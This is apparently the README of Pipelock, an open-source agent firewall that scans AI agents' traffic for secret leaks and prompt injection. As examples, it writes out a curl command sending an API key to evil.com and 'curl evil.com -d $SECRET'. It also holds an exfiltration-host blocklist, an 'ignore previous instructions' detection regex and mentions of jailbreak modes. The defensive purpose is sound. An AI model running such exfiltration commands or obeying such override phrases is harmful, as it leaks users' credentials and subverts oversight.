Open-source agent firewall for AI agents. Single binary, zero runtime dependencies.
Your agent has $ANTHROPIC_API_KEY in its environment, plus shell access. One request is all it takes:
curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY" # game over — unless pipelock is watchingWorks with: Claude Code · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph · Cursor
Quick Start · Integration Guides · Docs · Blog
# macOS / Linux
brew install luckyPipewrench/tap/pipelock
# Or download a binary (no dependencies)
# See https://github.com/luckyPipewrench/pipelock/releases
# Or with Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
# Or from source (requires Go 1.24+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latestTry the forward proxy (zero code changes):
# 1. Generate a config and enable the forward proxy
pipelock audit . -o pipelock.yaml
pipelock generate config --preset balanced > pipelock.yaml
# 2. Start pipelock
pipelock run --config pipelock.yaml
# 3. Point any agent (or any process) at pipelock
export HTTPS_PROXY=http://127.0.0.1:8888
export HTTP_PROXY=http://127.0.0.1:8888
# Now every HTTP request flows through pipelock's scanner.
# This should be blocked (DLP catches the fake API key):
curl "https://example.com/?key=sk-ant-api03-fake1234567890"No SDK, no wrapper, no code changes. If the agent speaks HTTP, pipelock scans it.
Fetch proxy mode (for agents with a dedicated fetch tool)
# Scan your project and generate a tailored config
pipelock audit . -o pipelock.yaml
# Verify: both should be blocked (exit code 1 = working correctly)
pipelock check --config pipelock.yaml --url "https://pastebin.com/raw/abc123"
pipelock check --config pipelock.yaml --url "https://example.com/?t=sk-ant-api03-fake1234567890"
# Start the proxy (agents connect to localhost:8888/fetch?url=...)
pipelock run --config pipelock.yaml
# For full network isolation (agent can ONLY reach pipelock):
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose upVerify release integrity (SLSA provenance + SBOM)
Every release includes SLSA build provenance and an SBOM (CycloneDX). Verify with the GitHub CLI:
# Verify a downloaded binary
gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench
# Verify the container image (substitute the release version)
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrenchPipelock is an agent firewall: like a WAF for web apps, it sits inline between your AI agent and the internet. It uses capability separation -- the agent process (which has secrets) is network-restricted, while Pipelock (which has NO secrets) inspects all traffic through a 9-layer scanner pipeline.
Three proxy modes, same port:
- Fetch proxy (
/fetch?url=...): Pipelock fetches the URL, extracts text, scans the response for prompt injection, and returns clean content. Best for agents that use a dedicated fetch tool. - Forward proxy (
HTTPS_PROXY): Standard HTTP CONNECT tunneling and absolute-URI forwarding. Agents use Pipelock as their system proxy with zero code changes. Hostname scanning catches blocked domains and SSRF before the tunnel opens. Best for agents that use nativefetch()or HTTP libraries. - WebSocket proxy (
/ws?url=ws://...): Upgrades the client connection, dials the upstream WebSocket server through the SSRF-safe dialer, and relays frames bidirectionally. Text frames are scanned through the full DLP + injection pipeline. Fragment reassembly, message size limits, idle timeout, and connection lifetime controls are all built in.
flowchart LR
subgraph PRIVILEGED["Privileged Zone"]
Agent["AI Agent\n(has API keys)"]
end
subgraph FETCH["Firewall Zone"]
Proxy["Pipelock\n(NO secrets)"]
Scanner["Scanner Pipeline\nSSRF · Blocklist · Rate Limit\nDLP · Env Leak · Entropy · Length"]
end
subgraph NET["Internet"]
Web["Web"]
end
Agent -- "fetch URL\nCONNECT\nor WebSocket" --> Proxy
Proxy --> Scanner
Scanner -- "content or\ntunnel" --> Agent
Scanner -- "request" --> Web
Web -- "response" --> Scanner
Scanner -- "clean content" --> Agent
style PRIVILEGED fill:#fee,stroke:#c33
style FETCH fill:#efe,stroke:#3a3
style NET fill:#eef,stroke:#33c
Text diagram (for terminals / non-mermaid renderers)
┌──────────────────────┐ ┌───────────────────────┐
│ PRIVILEGED ZONE │ │ FIREWALL ZONE │
│ │ │ │
│ AI Agent │ IPC │ Pipelock │
│ - Has API keys │────────>│ - NO secrets │
│ - Has credentials │ fetch / │ - Full internet │
│ - Restricted network│ CONNECT │ - Returns text │
│ │ /ws │ - WS frame scanning │
│ │<────────│ - URL scanning │
│ Can reach: │ content │ - Audit logging │
│ ✓ api.anthropic.com │ │ │
│ ✓ discord.com │ │ Can reach: │
│ ✗ evil.com │ │ ✓ Any URL │
│ ✗ pastebin.com │ │ But has: │
└──────────────────────┘ │ ✗ No env secrets │
│ ✗ No credentials │
└───────────────────────┘
| Pipelock | Scanners (agent-scan) | Sandboxes (srt) | Kernel agents (agentsh) | |
|---|---|---|---|---|
| Secret exfiltration prevention | Yes | Partial (proxy mode) | Partial (domain-level) | Yes |
| DLP + entropy analysis | Yes | No | No | Partial |
| Prompt injection detection | Yes | Yes | No | No |
| Workspace integrity monitoring | Yes | No | No | Partial |
| MCP scanning (bidirectional + tool poisoning) | Yes | Yes | No | No |
| WebSocket proxy (frame scanning + fragment reassembly) | Yes | No | No | No |
| MCP HTTP transport (Streamable HTTP + reverse proxy) | Yes | No | No | No |
| Single binary, zero deps | Yes | No (Python) | No (npm) | No (kernel-level enforcement) |
| Audit logging + Prometheus | Yes | No | No | No |
Full comparison: docs/comparison.md
Pipelock runs in three modes:
| Mode | Security | Web Browsing | Use Case |
|---|---|---|---|
| strict | Allowlist-only | None | Regulated industries, high-security |
| balanced | Blocks naive + detects sophisticated | Via fetch or forward proxy | Most developers (default) |
| audit | Logging only | Unrestricted | Evaluation before enforcement |
What each mode prevents, detects, or logs:
| Attack Vector | Strict | Balanced | Audit |
|---|---|---|---|
curl evil.com -d $SECRET |
Prevented | Prevented | Logged |
| Secret in URL query params | Prevented | Detected (DLP scan) | Logged |
| Base64-encoded secret in URL | Prevented | Detected (entropy scan) | Logged |
| DNS tunneling | Prevented | Detected (subdomain entropy) | Logged |
| Chunked exfiltration | Prevented | Detected (rate + data budget) | Logged |
| Public-key encrypted blob in URL | Prevented | Logged (entropy flags it) | Logged |
Honest assessment: Strict mode blocks all outbound HTTP except allowlisted API domains, so there's no exfiltration channel through the proxy. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. Pipelock doesn't sandbox processes or restrict syscalls. It's a content inspection layer. For full defense in depth, pair it with an OS sandbox (see docs/comparison.md).
Scan any project directory to detect security risks and generate a tailored config:
pipelock audit ./my-project -o pipelock-suggested.yamlDetects agent type (Claude Code, Cursor, CrewAI, LangGraph, AutoGen), programming languages, package ecosystems, MCP servers, and secrets in environment variables and config files. Outputs a security score and a suggested config file tuned for your project.
Every request passes through a 9-layer scanner pipeline:
- Scheme validation — enforces http/https only
- Domain blocklist — blocks known exfiltration targets (pastebin, transfer.sh). Pre-DNS.
- DLP patterns — regex matching for API keys, tokens, and secrets. Includes env variable leak detection (values 16+ chars with entropy > 3.0, raw + base64/hex/base32 encoded) and known-secret file scanning (raw + encoded forms). Pre-DNS to prevent secret exfiltration via DNS queries.
- Path entropy analysis — Shannon entropy flags encoded/encrypted data in URL path segments
- Subdomain entropy analysis — flags high-entropy subdomains used for DNS exfiltration
- SSRF protection — blocks internal/private IPs with DNS rebinding prevention. Post-DNS, safe after DLP.
- Rate limiting — per-domain sliding window
- URL length limits — unusually long URLs suggest data exfiltration
- Data budget — per-domain byte limits prevent slow-drip exfiltration across many requests
Fetched content is scanned for prompt injection before reaching the agent:
- Prompt injection — "ignore previous instructions" and variants
- System/role overrides — attempts to hijack system prompts
- Jailbreak attempts — DAN mode, developer mode, etc.
Actions: block (reject entirely), strip (redact matched text), warn (log and pass through), ask (terminal y/N/s prompt with timeout — requires TTY)
pipelock integrity init ./workspace --exclude "logs/**"
pipelock integrity check ./workspace # exit 0 = clean
pipelock integrity check ./workspace --json # machine-readable
pipelock integrity update ./workspace # re-hash after reviewSHA256 manifests detect modified, added, or removed files. See lateral movement in multi-agent systems.
git diff HEAD~1 | pipelock git scan-diff # scan for secrets in unified diff
pipelock git install-hooks --config pipelock.yaml # pre-push hookInput must be unified diff format (with +++ b/filename headers and + lines). Plain text won't match.
pipelock keygen my-bot # generate key pair
pipelock sign manifest.json --agent my-bot # sign a file
pipelock verify manifest.json --agent my-bot # verify signature
pipelock trust other-bot /path/to/other-bot.pub # trust a peerKeys stored under ~/.pipelock/agents/ and ~/.pipelock/trusted_keys/.
Wrap any MCP server as a stdio proxy. Pipelock scans both directions: client requests are checked for DLP leaks and injection in tool arguments, server responses are scanned for prompt injection, and tools/list responses are checked for poisoned tool descriptions and rug-pull definition changes:
# Wrap a local MCP server (stdio transport)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
# Proxy a remote MCP server (Streamable HTTP transport)
pipelock mcp proxy --upstream http://localhost:8080/mcp
# HTTP reverse proxy (MCP-to-MCP, for server deployments)
pipelock mcp proxy --listen 0.0.0.0:8889 --upstream http://upstream:3000/mcp
# Combined mode (fetch/forward proxy + MCP listener on separate ports)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp
# Batch scan (stdin)
mcp-server | pipelock mcp scan
pipelock mcp scan --json --config pipelock.yaml < responses.jsonlCatches injection split across content blocks. Exit 0 if clean, 1 if injection detected.
Define rules to block or warn before specific tool calls reach MCP servers:
mcp_tool_policy:
enabled: true
action: warn
rules:
- name: "Block shell execution"
tool_pattern: "execute_command|run_terminal"
action: block
- name: "Warn on sensitive writes"
tool_pattern: "write_file"
arg_pattern: '/etc/.*|/usr/.*'
action: warnAuto-enabled in proxy mode. Rules are evaluated before tool calls are forwarded.
Proxy WebSocket connections through the scanner pipeline. Text frames get DLP and injection scanning; binary frames can be allowed or blocked by policy. The proxy handles fragment reassembly, message size limits, and connection lifecycle:
# Enable in config (or use a preset with websocket_proxy.enabled: true)
pipelock run --config pipelock.yaml
# Agent connects via /ws endpoint
wscat -c "ws://localhost:8888/ws?url=ws://upstream:9090/stream"websocket_proxy:
enabled: true
max_message_bytes: 1048576 # 1MB max per message
max_concurrent_connections: 128
scan_text_frames: true # DLP + injection on text frames
allow_binary_frames: false # block binary by default
strip_compression: true # force uncompressed (required for scanning)
max_connection_seconds: 3600 # 1h max lifetime
idle_timeout_seconds: 300 # 5min idle timeout
origin_policy: rewrite # rewrite, forward, or strip
forward_cookies: false # forward cookies to upstreamFeatures:
- Full 9-layer scanner pipeline on target URL before connecting
- DLP + injection scanning on text frame content (both directions)
- Fragment reassembly with per-message size limits
- Auth header forwarding with DLP scanning (Authorization, Cookie when enabled)
- SSRF-safe upstream dialer (same DNS-pinning as forward proxy)
- Prometheus metrics:
pipelock_ws_connections_total,pipelock_ws_active_connections,pipelock_ws_frames_total,pipelock_ws_scan_hits_total - Structured audit logs for open/close/blocked events
Each agent identifies itself via X-Pipelock-Agent header (or ?agent= query parameter). All audit logs include the agent name for per-agent filtering.
curl -H "X-Pipelock-Agent: my-bot" "http://localhost:8888/fetch?url=https://example.com"version: 1
mode: balanced
enforce: true # set false for audit mode (log without blocking)
api_allowlist:
- "*.anthropic.com"
- "*.openai.com"
- "*.discord.com"
- "github.com"
fetch_proxy:
listen: "127.0.0.1:8888"
timeout_seconds: 30
max_response_mb: 10
user_agent: "Pipelock Fetch/1.0"
monitoring:
entropy_threshold: 4.5
max_url_length: 2048
max_requests_per_minute: 60
blocklist:
- "*.pastebin.com"
- "*.transfer.sh"
dlp:
scan_env: true
secrets_file: "./known-secrets.txt" # optional: one secret per line, scanned in raw + encoded forms
patterns:
- name: "Anthropic API Key"
regex: 'sk-ant-[a-zA-Z0-9\-_]{10,}'
severity: critical
- name: "AWS Access Key"
regex: 'AKIA[0-9A-Z]{16}'
severity: critical
# ... 14 more patterns ship by default (see configs/balanced.yaml)
response_scanning:
enabled: true
action: warn # block, strip, warn, or ask (HITL)
patterns:
- name: "Prompt Injection"
regex: '(?i)(ignore|disregard)\s+(all\s+)?(previous|prior)\s+(instructions|prompts)'
mcp_input_scanning:
enabled: true
action: warn # block or warn (auto-enabled for mcp proxy)
on_parse_error: block # block or forward
mcp_tool_scanning:
enabled: true
action: warn # block or warn (auto-enabled for mcp proxy)
detect_drift: true # alert on tool description changes mid-session
# mcp_tool_policy: # pre-execution tool call policy (see "MCP Tool Call Policy" above)
# enabled: true
# action: warn
# rules: []
forward_proxy:
enabled: false # enable to accept CONNECT tunnels and absolute-URI requests
max_tunnel_seconds: 300 # max lifetime per tunnel
idle_timeout_seconds: 120 # kill idle tunnels after this
websocket_proxy:
enabled: false # enable /ws WebSocket proxy endpoint
max_message_bytes: 1048576 # 1MB max per assembled message
max_concurrent_connections: 128
scan_text_frames: true # DLP + injection scanning on text frames
allow_binary_frames: false # block binary frames by default
strip_compression: true # force uncompressed (required for frame scanning)
max_connection_seconds: 3600
idle_timeout_seconds: 300
origin_policy: rewrite # rewrite, forward, or strip Origin header
forward_cookies: false # forward cookies to upstream
logging:
format: json
output: stdout
include_allowed: true
include_blocked: true
internal:
- "0.0.0.0/8"
- "127.0.0.0/8"
- "10.0.0.0/8"
- "100.64.0.0/10"
- "172.16.0.0/12"
- "192.168.0.0/16"
- "169.254.0.0/16"
- "::1/128"
- "fc00::/7"
- "fe80::/10"
git_protection:
enabled: false
allowed_branches: ["feature/*", "fix/*", "main"]
pre_push_scan: true| Preset | Mode | Action | Best For |
|---|---|---|---|
configs/balanced.yaml |
balanced | warn | General purpose |
configs/strict.yaml |
strict | block | High-security environments |
configs/audit.yaml |
audit | warn | Log-only monitoring |
configs/claude-code.yaml |
balanced | block | Claude Code (unattended) |
configs/cursor.yaml |
balanced | block | Cursor IDE (unattended) |
configs/generic-agent.yaml |
balanced | warn | New agents (tuning phase) |
- Claude Code — MCP proxy setup,
.claude.jsonconfiguration, HTTP fetch proxy hooks - OpenAI Agents SDK —
MCPServerStdio, multi-agent handoffs, Docker Compose - Google ADK —
McpToolset,StdioConnectionParams, sub-agents - AutoGen —
StdioServerParams,mcp_server_tools(), multi-agent teams - CrewAI —
MCPServerStdiowrapping,MCPServerAdapter, Docker Compose - LangGraph —
MultiServerMCPClient,StateGraph, Docker deployment - Cursor — use
configs/cursor.yamlwith the same MCP proxy pattern as Claude Code
Scan your project for agent security risks on every PR. No Go toolchain needed.
# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/[email protected]
with:
scan-diff: 'true'
fail-on-findings: 'true'The action downloads a pre-built binary, runs pipelock audit on your project, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. Critical findings produce GitHub annotations inline on the PR diff.
With a config file:
- uses: luckyPipewrench/[email protected]
with:
config: pipelock.yaml
test-vectors: 'true'See examples/ci-workflow.yaml for a complete workflow, or examples/ci-workflow-advanced.yaml for security score reporting in the job summary.
| Input | Default | Description |
|---|---|---|
version |
latest |
Pipelock version to download |
config |
(none) | Path to config file (auto-generates if not set) |
directory |
. |
Directory to scan |
scan-diff |
true |
Scan PR diff for leaked secrets |
fail-on-findings |
true |
Fail if critical findings detected |
test-vectors |
true |
Validate scanning coverage with built-in tests |
exclude-paths |
(none) | Paths to exclude from findings (one per line, supports globs) |
# Pull from GHCR
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Build locally
docker build -t pipelock .
docker run -p 8888:8888 pipelock
# Network-isolated agent (Docker Compose)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose upThe generated compose file creates two containers: pipelock (firewall with internet access) and agent (your AI agent on an internal-only network, can only reach pipelock).
API Reference
# Fetch a URL (returns extracted text content)
curl "http://localhost:8888/fetch?url=https://example.com"
# Forward proxy (when forward_proxy.enabled: true)
# Set HTTPS_PROXY=http://localhost:8888 and use any HTTP client normally.
# HTTPS goes through CONNECT tunnels; plain HTTP uses absolute-URI forwarding.
# WebSocket proxy (when websocket_proxy.enabled: true)
# wscat -c "ws://localhost:8888/ws?url=ws://upstream:9090/path"
curl -x http://localhost:8888 https://example.com
# Health check
curl "http://localhost:8888/health"
# Prometheus metrics
curl "http://localhost:8888/metrics"
# JSON stats (top blocked domains, scanner hits, tunnels, block rate)
curl "http://localhost:8888/stats"Fetch response:
{
"url": "https://example.com",
"agent": "my-bot",
"status_code": 200,
"content_type": "text/html",
"title": "Example Domain",
"content": "This domain is for use in illustrative examples...",
"blocked": false
}Health response:
{
"status": "healthy",
"version": "x.y.z",
"mode": "balanced",
"uptime_seconds": 3600.5,
"dlp_patterns": 16,
"response_scan_enabled": true,
"git_protection_enabled": false,
"rate_limit_enabled": true,
"forward_proxy_enabled": false,
"websocket_proxy_enabled": false
}Stats response:
{
"uptime_seconds": 3600.5,
"requests": {
"total": 150,
"allowed": 142,
"blocked": 8,
"block_rate": 0.053
},
"tunnels": 42,
"top_blocked_domains": [
{"name": "pastebin.com", "count": 5},
{"name": "transfer.sh", "count": 3}
],
"top_scanners": [
{"name": "blocklist", "count": 5},
{"name": "dlp", "count": 3}
]
}OWASP Agentic Top 10 Coverage
| Threat | Coverage |
|---|---|
| ASI01 Agent Goal Hijack | Strong - bidirectional MCP + response scanning |
| ASI02 Tool Misuse | Partial - proxy as controlled tool, MCP scanning |
| ASI03 Identity & Privilege Abuse | Strong - capability separation + SSRF protection |
| ASI04 Supply Chain Vulnerabilities | Partial - integrity monitoring + MCP scanning |
| ASI05 Unexpected Code Execution | Moderate - HITL approval, fail-closed defaults |
| ASI06 Memory & Context Poisoning | Moderate - injection detection on fetched content |
| ASI07 Insecure Inter-Agent Communication | Partial - agent ID, integrity, signing |
| ASI08 Cascading Failures | Moderate - fail-closed architecture, rate limiting |
| ASI09 Human-Agent Trust Exploitation | Partial - HITL modes, audit logging |
| ASI10 Rogue Agents | Strong - domain allowlist + rate limiting + capability separation |
Details, config examples, and gap analysis: docs/owasp-mapping.md
cmd/pipelock/ CLI entry point
internal/
cli/ Cobra commands (run, check, generate, logs, git, integrity, mcp,
keygen, sign, verify, trust, version, healthcheck)
config/ YAML config loading, validation, defaults, hot-reload (fsnotify)
scanner/ URL scanning (SSRF, blocklist, rate limit, DLP, entropy, env leak)
audit/ Structured JSON audit logging (zerolog)
proxy/ HTTP proxy: fetch (/fetch), forward (CONNECT + absolute-URI), WebSocket (/ws), DNS pinning
metrics/ Prometheus metrics + JSON stats endpoint
gitprotect/ Git-aware security (diff scanning, branch validation, hooks)
integrity/ File integrity monitoring (SHA256 manifests, check/diff, exclusions)
signing/ Ed25519 key management, file signing, signature verification
mcp/ MCP proxy (stdio + Streamable HTTP) + bidirectional scanning + tool poisoning
hitl/ Human-in-the-loop terminal approval (ask action)
configs/ Preset config files (strict, balanced, audit, claude-code, cursor, generic-agent)
docs/ OWASP mapping, tool comparison
blog/ Blog posts (mirrored at pipelab.org/blog/)
Canonical metrics — updated each release.
| Metric | Value |
|---|---|
Go tests (with -race) |
2,900+ |
| Statement coverage | 96%+ |
| Evasion techniques tested | 230+ |
| Scanner pipeline overhead | ~25μs per URL scan |
| CI matrix | Go 1.24 + 1.25, CodeQL, golangci-lint |
| Supply chain | SLSA provenance, CycloneDX SBOM, cosign signatures |
| OpenSSF Scorecard | 8.0/10 |
Run make test to verify locally. Full benchmark details: docs/benchmarks.md.
- Architecture influenced by Anthropic's Claude Code sandboxing and sandbox-runtime
- Threat model informed by OWASP Agentic AI Top 10
- See docs/comparison.md for how Pipelock relates to Snyk agent-scan, Docker MCP Gateway, AIP, agentsh, and srt
- Security review contributions from Dylan Corrales
Contributions welcome. See CONTRIBUTING.md for guidelines.
If Pipelock is useful, please star this repository. It helps others find the project.
Apache License 2.0. Copyright 2026 Joshua Waldrep.
See LICENSE for the full text.
